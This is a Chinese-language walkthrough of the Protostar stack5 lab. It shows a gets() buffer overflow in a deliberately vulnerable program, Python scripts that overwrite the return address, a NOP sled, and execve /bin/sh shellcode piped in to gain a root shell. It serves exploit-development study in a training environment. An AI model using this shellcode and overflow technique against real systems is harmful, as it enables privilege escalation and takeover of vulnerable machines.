Stack5是一个标准的缓冲区溢出,这次介绍shellcode的利用。
调试shellcode,使用带有操作码\xcc(int3) 指令停止程序执行并返回调试器。
stack5.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]){
char buffer[64];
gets(buffer);
}
非常简短的的代码,只有一个gets()函数的调用,从前边stack0已经知道它允许我们覆盖数据到堆栈上。这里演示如何提权到root shell的操作。
利用前边介绍的方法找到eip的偏移并生成一个payload
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0XBFFFFC70)
payload = "\xCC"*4
print padding+eip+payload
但由于有时候执行程序的环境变量的不同,这就需要不同大小的空间来存储它,从而导致了堆栈地址的不同。两种方式:
1、在执行二进制文件之前删除所有环境变量
$ env -i ./mv_program
(gdb) unset env
2、添加NOP指令,NOP指令不做任何操作,并且它具有十六进制操作符90
这里不再选择一个具体的堆栈地址作为跳转地址
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0XBFFFFC70+70)
payload = "\x90"*100+"\xCC"*4
print padding+eip+payload
使用gdb进行调试,发现’90’大概位于堆栈的中间部分,这就跳过了某些不可控因素。
我们寻找并使用一些shellcode:
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80
import struct
padding = "A"*76
eip = struct.pack("I", 0xbffffcc0+70)
nopslide = "\x90"*100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopslide+payload
$ (python exploit.py ; cat) | /opt/protostar/bin/stack5